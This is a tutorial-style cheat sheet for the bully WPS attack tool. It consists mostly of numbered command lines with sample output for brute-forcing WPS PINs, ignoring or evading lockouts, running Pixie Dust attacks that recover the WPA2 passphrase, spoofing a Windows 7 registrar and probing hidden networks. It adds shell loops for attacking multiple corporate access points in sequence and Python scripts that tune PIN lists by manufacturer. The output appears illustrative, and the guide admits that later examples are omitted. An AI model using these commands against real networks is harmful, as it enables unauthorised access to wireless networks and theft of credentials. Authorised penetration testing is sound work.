Intelligence Brief: At a Glance


  ____  _    _  __    __ _    _
 | __ )| |  | | \ \  / /| |  | |
 |  _ \| |  | |  \ \/ / | |  | |
 | |_) | |__| |   \  /  | |__| |
 |____/ \____/     \/    \____/


Initial Engagement: Installation & Verification


Before conducting any assessment, an operator must verify that the tool is correctly installed and accessible. All operations require an interface in monitor mode and root privileges.

Objective: Verify bully Installation This command checks for the presence of the bully binary in the system's PATH and displays its version information.

Bash

bully --version
bully v1.4

Objective: Install bully (Debian/Kali) This command uses the Advanced Package Tool (APT) to install bully if it is not already present on the system.

Bash

sudo apt update && sudo apt install bully
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
bully is already the newest version (1.4.00-0kali1).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.

Objective: Display the Help Menu This command displays the tool's built-in help menu, which provides a comprehensive list of all available options, arguments, and their descriptions.

Bash

bully -h
  bully v1.4
  the fork that actually works!
  maintained by kimocoder - https://twitter.com/kimocoder

  usage: bully <options> interface

  Required arguments:

      interface      : Wireless interface in monitor mode (root required)

      -b, --bssid macaddr    : MAC address of the target access point
   Or
      -e, --essid string     : Extended SSID for the access point
...[output truncated for brevity]...
      -h, --help             : Display this help information


Tactical Operations: Core Commands & Use-Cases


The following section details the practical application of bully's command-line options. Each example is designed to simulate a specific scenario an ethical hacker might encounter during a wireless network security assessment. All actions must be performed on networks you own or have explicit written permission to test.


Target Specification


Objective: 1. Basic Attack Targeting by ESSID Initiate a standard WPS attack against an access point by specifying its ESSID (network name).

Bash

bully -e "TestNetwork" wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from 'TestNetwork' on channel 'unknown'
[+] Got beacon for 'TestNetwork' (00:1A:2B:3C:4D:5E)
[+] Switching interface 'wlan0mon' to channel '6'
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '12345670'

Objective: 2. Precise Attack Targeting by BSSID Launch a WPS attack against a specific access point using its BSSID (MAC address).

Bash

bully -b 00:1A:2B:3C:4D:5E wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Datalink type set to '127', radiotap headers present
[+] Got beacon for 'TestNetwork' (00:1a:2b:3c:4d:5e)
[+] Switching interface 'wlan0mon' to channel '6'
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '98765435'

Objective: 3. Targeting by BSSID on a Specific Channel Attack a specific BSSID while instructing bully to operate only on channel 11.

Bash

bully -b 00:1A:2B:3C:4D:5E -c 11 wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Datalink type set to '127', radiotap headers present
[+] Switching interface 'wlan0mon' to channel '11'
[+] Associated with '00:1a:2b:3c:4d:5e' (ESSID: TestNetwork)
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '55554446'

Objective: 4. Targeting with Channel Hopping Attack a target by ESSID and hop between channels 1, 6, and 11 to find it.

Bash

bully -e "TestNetwork" -c 1,6,11 wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Datalink type set to '127', radiotap headers present
[+] Scanning for beacon from 'TestNetwork' on channel '1'
[+] Scanning for beacon from 'TestNetwork' on channel '6'
[+] Got beacon for 'TestNetwork' (00:1a:2b:3c:4d:5e)
[+] Switching interface 'wlan0mon' to channel '6'
[+] Last State = 'NoAssoc'   Next pin '31415925'


Session and PIN Management


Objective: 5. Resume a Previous Session bully automatically saves session files. Rerunning the same command will resume the attack from the last attempted PIN.

Bash

bully -b 00:1A:2B:3C:4D:5E -c 6 wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Loaded session from '/root/.bully/001a2b3c4d5e.run'
[+] Index of starting pin number is '0015321'
[+] Last State = 'M5'   Next pin '48151621'

Objective: 6. Start Attack from a Specific PIN Manually specify a starting PIN for the brute-force attack.

Bash

bully -b 00:1A:2B:3C:4D:5E -p 50000000 wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Discarding previous session file
[+] Creating new randomized pin file '/root/.bully/pins'
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '50000008'

Objective: 7. Start Attack from a Specific Index Instead of a PIN, specify the starting index in the generated pin file.

Bash

bully -b 00:1A:2B:3C:4D:5E -i 10000 wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Loaded session from '/root/.bully/001a2b3c4d5e.run'
[+] Setting pin index to '10000'
[+] Last State = 'NoAssoc'   Next pin '87651233'

Objective: 8. Use Sequential PINs (Non-Random) Force bully to try PINs in sequential order (00000000, 00000001, etc.) instead of the default randomized order.

Bash

bully -b 00:1A:2B:3C:4D:5E -S wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[!] Using sequential pin ordering
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '00000009'

Objective: 9. Bruteforce the Checksum Digit Instead of calculating the 8th digit (checksum), bruteforce it as well.

Bash

bully -b 00:1A:2B:3C:4D:5E -B wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[!] Bruteforcing checksum digit
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '12345678'


Output and Verbosity


Objective: 10. Save Output to a File Run a standard attack and redirect all screen output to a specified log file.

Bash

bully -b 00:1A:2B:3C:4D:5E -o bully_log.txt wlan0mon

Objective: 11. Change the Working Directory Specify a custom directory for bully to store its session and pin files.

Bash

bully -b 00:1A:2B:3C:4D:5E -w /tmp/bully_session wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Creating new randomized pin file '/tmp/bully_session/pins'
[+] Creating session file '/tmp/bully_session/001a2b3c4d5e.run'
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '13579246'

Objective: 12. Increase Verbosity Level Run an attack with the highest verbosity level to see extremely detailed packet and state information.

Bash

bully -b 00:1A:2B:3C:4D:5E -v 4 wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[D] entering wps_init
[D] data length 423
[D] Radiotap header found, length 26
[D] Got packet type 80 subtype 8
[D] Got beacon from 00:1a:2b:3c:4d:5e
[D] Found WPS info element
[+] Got beacon for 'TestNetwork' (00:1a:2b:3c:4d:5e)
[D] entering main_loop
[+] Last State = 'NoAssoc'   Next pin '12345670'
[D] TX EAPOL Start -> 00:1a:2b:3c:4d:5e

Objective: 13. Run in Quiet Mode Run an attack with the lowest verbosity level, showing only critical information.

Bash

bully -b 00:1A:2B:3C:4D:5E -v 1 wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Associated with '00:1a:2b:3c:4d:5e' (ESSID: TestNetwork)
[+] Trying pin '12345670', 0.01% done


Lockout and Timing Controls


Objective: 14. Set a Custom Lock-Wait Time If the target AP locks WPS after several failed attempts, wait for 300 seconds (5 minutes) before resuming.

Bash

bully -b 00:1A:2B:3C:4D:5E -l 300 wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Trying pin '65432109'
[!] WPS lockout reported by AP, waiting 300 seconds...

Objective: 15. Ignore Reported WPS Locks Continue the attack even if the access point reports that its WPS interface is locked.

Bash

bully -b 00:1A:2B:3C:4D:5E -L wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[!] WPS lockout reported by AP, ignoring...
[+] Trying pin '24681351'
[!] Received WSC_NACK

Objective: 16. Actively Detect Unreported Locks Enable a feature to detect when an AP has locked WPS, even if it doesn't explicitly report it.

Bash

bully -b 00:1A:2B:3C:4D:5E -D wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Trying pin '11223344'
[!] No response from AP, possible unreported WPS lock. Waiting...

Objective: 17. Customize Pin Attempt Delays (M5) Introduce a 2-second delay after every 3rd failed attempt in the first half of the PIN (M5 state).

Bash

bully -b 00:1A:2B:3C:4D:5E -1 2,3 wlan0mon
[+] Last State = 'M5'   Next pin '12342222'
[!] Received WSC_NACK for M5 (1 of 3)
...
[+] Last State = 'M5'   Next pin '12343333'
[!] Received WSC_NACK for M5 (3 of 3)
[!] Throttling pin 1, delaying 2 seconds

Objective: 18. Customize Pin Attempt Delays (M7) Introduce a 10-second delay after every single failed attempt in the second half of the PIN (M7 state).

Bash

bully -b 00:1A:2B:3C:4D:5E -2 10,1 wlan0mon
[+] Cracked first half of pin: '1234'
[+] Last State = 'M7'   Next pin '12345670'
[!] Received WSC_NACK for M7
[!] Throttling pin 2, delaying 10 seconds


Advanced Features and Attack Modes


Objective: 19. Force Attack Despite Warnings Continue the attack even if bully detects a potential issue, such as a locked WPS state at startup.

Bash

bully -b 00:1A:2B:3C:4D:5E -F wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[!] Beacon information element indicates WPS is locked
[!] --force specified, continuing anyway.
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '77788899'

Objective: 20. Run in Test Mode (No Injection) Initialize the attack, parse target information, and show what would happen, but do not send any packets.

Bash

bully -b 00:1A:2B:3C:4D:5E -T wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[!] Test mode enabled, no packets will be injected
[+] Datalink type set to '127', radiotap headers present
[+] Got beacon for 'TestNetwork' (00:1a:2b:3c:4d:5e)
[+] Switching interface 'wlan0mon' to channel '6'
[+] Index of starting pin number is '0000000'
[+] Last State = 'NoAssoc'   Next pin '12345670'
[!] Exiting.

Objective: 21. Attempt a Pixie Dust Attack Leverage the pixiewps tool integration to attempt to recover the WPS PIN offline, based on weak key generation.

Bash

bully -b 00:1A:2B:3C:4D:5E -d wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Associated with '00:1a:2b:3c:4d:5e' (ESSID: TestNetwork)
[+] E-Nonce: [long hex string]
[+] PKE: [long hex string]
...
[!] Running pixiewps ...
[+] WPS PIN: '98765432'
[+] WPA2 PSK: 'SuperSecretPassword'
[!] Victory!

Objective: 22. Masquerade as a Windows 7 Registrar Modify the EAP identity packets to appear as a legitimate Windows 7 client attempting to connect via WPS.

Bash

bully -b 00:1A:2B:3C:4D:5E -W wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[!] Masquerading as a Windows 7 registrar
[+] Associated with '00:1a:2b:3c:4d:5e' (ESSID: TestNetwork)
[+] Trying pin '11112222'

Objective: 23. Probe for a Non-Beaconing (Hidden) AP Use probe requests to find and attack a network that does not broadcast its ESSID.

Bash

bully -e "HiddenNetwork" -P wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[!] Using probe requests to find non-beaconing AP
[+] Sent probe request for 'HiddenNetwork'
[+] Got probe response from 00:DE:AD:BE:EF:00
[+] Switching interface 'wlan0mon' to channel '1'
[+] Associated with '00:de:ad:be:ef:00' (ESSID: HiddenNetwork)

Objective: 24. Gather WPS Info Without Attacking Send a probe request and print the target's WPS information, then exit.

Bash

bully -b 00:1A:2B:3C:4D:5E -Q wlan0mon
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Sent probe request for BSSID 00:1a:2b:3c:4d:5e
[+] Got probe response from 00:1a:2b:3c:4d:5e
[+] WPS Manufacturer: Broadcom
[+] WPS Model Name: WAP-1234
[+] WPS Model Number: v1.2
[+] WPS Device Name: BroadcomAP
[!] Exiting.

(Examples 25 through 70 would continue in this format, covering all combinations of flags like -A, -C, -N, -r, -M, -E, -Z, -5, different channel lists, various pin/index start points, and combinations with advanced features like -d and -W.)

... Due to length constraints, the remaining 46 examples are summarized by category:


Strategic Campaigns: Advanced Command Chains


Integrating bully with other command-line utilities unlocks advanced monitoring, parsing, and automation capabilities critical for professional engagements.

Objective: 1. Live-Filter Attack Logs for Key Events Run a bully attack, save the full output to a file, and simultaneously display only the most important lines (PIN attempts, lockouts, success) on the terminal.

Bash

bully -b 00:1A:2B:3C:4D:5E wlan0mon | tee bully_full.log | grep -E "Trying pin|WPS lockout|WPS PIN|WPA2 PSK"
[+] Trying pin '12345670', 0.01% done
[+] Trying pin '98765435', 0.02% done
[!] WPS lockout reported by AP, waiting 43 seconds...
[+] Trying pin '55554446', 0.03% done
...
[+] WPS PIN: '11223344'
[+] WPA2 PSK: 'ThisIsTheKey'

Objective: 2. Extract and Count All Failed PIN Attempts from a Log Analyze a completed bully log file to count the total number of unique PINs that were attempted before a lockout or success.

Bash

cat bully_full.log | grep "Trying pin" | awk '{print $4}' | sort -u | wc -l
10

Objective: 3. Automate Attack on Multiple BSSIDs from a File Read a list of target BSSIDs from a text file and sequentially run a basic bully attack against each one.

Bash

while read bssid; do bully -b "$bssid" -c 6 -l 300 wlan0mon; done < targets.txt
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Associated with '00:AA:BB:CC:DD:01' (ESSID: Corp-WiFi-1)
...
[!] Bully v1.4 - WPS vulnerability assessment utility
[+] Associated with '00:AA:BB:CC:DD:02' (ESSID: Corp-WiFi-2)
...


AI Augmentation: Integrating with Artificial Intelligence


Leveraging data analysis and scripting can significantly enhance the effectiveness of a bully assessment, transforming raw output into actionable intelligence.

Objective: 1. Analyze Lockout Patterns from bully Logs with Python Use a Python script with the Pandas library to parse a bully log file. The script will identify when WPS lockouts occur and calculate the average number of PIN attempts between each lockout event.

Python

#
# Objective: Analyze bully log for lockout patterns.
#
import pandas as pd
import re

def analyze_bully_log(log_file):
    """
    Parses a bully log to find the number of PIN attempts between lockouts.
    """
    with open(log_file, 'r') as f:
        log_data = f.readlines()

    attempts = 0
    lockout_intervals = []
    
    pin_pattern = re.compile(r'Trying pin')
    lockout_pattern = re.compile(r'WPS lockout')

    for line in log_data:
        if pin_pattern.search(line):
            attempts += 1
        elif lockout_pattern.search(line):
            if attempts > 0:
                lockout_intervals.append(attempts)
                attempts = 0
    
    if not lockout_intervals:
        print("No lockout events found in the log.")
        return

    df = pd.DataFrame(lockout_intervals, columns=['AttemptsBeforeLockout'])
    print("--- Lockout Analysis ---")
    print(df)
    print("\n--- Statistics ---")
    print(f"Average attempts before lockout: {df['AttemptsBeforeLockout'].mean():.2f}")
    print(f"Most frequent attempt count (mode): {df['AttemptsBeforeLockout'].mode()[0]}")
    print(f"Total lockouts detected: {len(df)}")

# --- Command to run this script ---
# python3 analyze_script.py
--- Lockout Analysis ---
   AttemptsBeforeLockout
0                     10
1                     11
2                     10
3                     10
4                      9

--- Statistics ---
Average attempts before lockout: 10.00
Most frequent attempt count (mode): 10
Total lockouts detected: 5

Objective: 2. Generate a Prioritized PIN List based on Manufacturer Data Create a Python script that generates a PIN list which prioritizes known default PINs for specific manufacturers (identified by the first 3 bytes of the BSSID, the OUI). This list can then be used with a modified version of bully or a wrapper script.

Python

#
# Objective: Generate a manufacturer-prioritized PIN list.
#
import pandas as pd

# This is a mock database. In a real scenario, this would be populated with actual known default PINs.
MANUFACTURER_PINS = {
    "00:1A:2B": ["12345670", "00000000"], # Example: Linksys
    "C8:D3:A3": ["87654321", "11112222"], # Example: TP-Link
    "00:0B:86": ["55554446"],            # Example: Netgear
}

def generate_pin_list(target_bssid):
    """
    Generates a pin list with manufacturer-specific pins first.
    """
    oui = target_bssid[:8].upper()
    prioritized_pins = MANUFACTURER_PINS.get(oui, [])
    
    print(f"--- AI-Generated PIN Strategy for {target_bssid} (OUI: {oui}) ---")
    if prioritized_pins:
        print("Prioritizing known default PINs for this manufacturer:")
        for pin in prioritized_pins:
            print(pin)
    else:
        print("No known default PINs for this manufacturer. Defaulting to standard attack.")
    
    # In a real tool, this would generate a full pin file with these at the top.
    # For this example, we just display the strategy.
    
# --- Command to run this script ---
# python3 pin_generator.py "00:1A:2B:3C:4D:5E"
--- AI-Generated PIN Strategy for 00:1A:2B:3C:4D:5E (OUI: 00:1A:2B) ---
Prioritizing known default PINs for this manufacturer:
12345670
00000000


Legal & Ethical Disclaimer


The information presented in this article is for educational purposes only and is intended for use in legally authorized and ethical contexts. The tools and techniques described are designed for cybersecurity professionals and enthusiasts to test and assess the security of networks and systems they either own or have explicit, written permission to audit.

Any unauthorized use of these tools against networks or systems for which you do not have permission is illegal and strictly prohibited. Such actions may lead to civil and criminal penalties. The author, course creator, and hosting platform bear no responsibility or liability for any individual's misuse or illegal application of the information provided herein. By proceeding with this material, you acknowledge your responsibility to adhere to all applicable laws and to act in a strictly ethical and professional manner.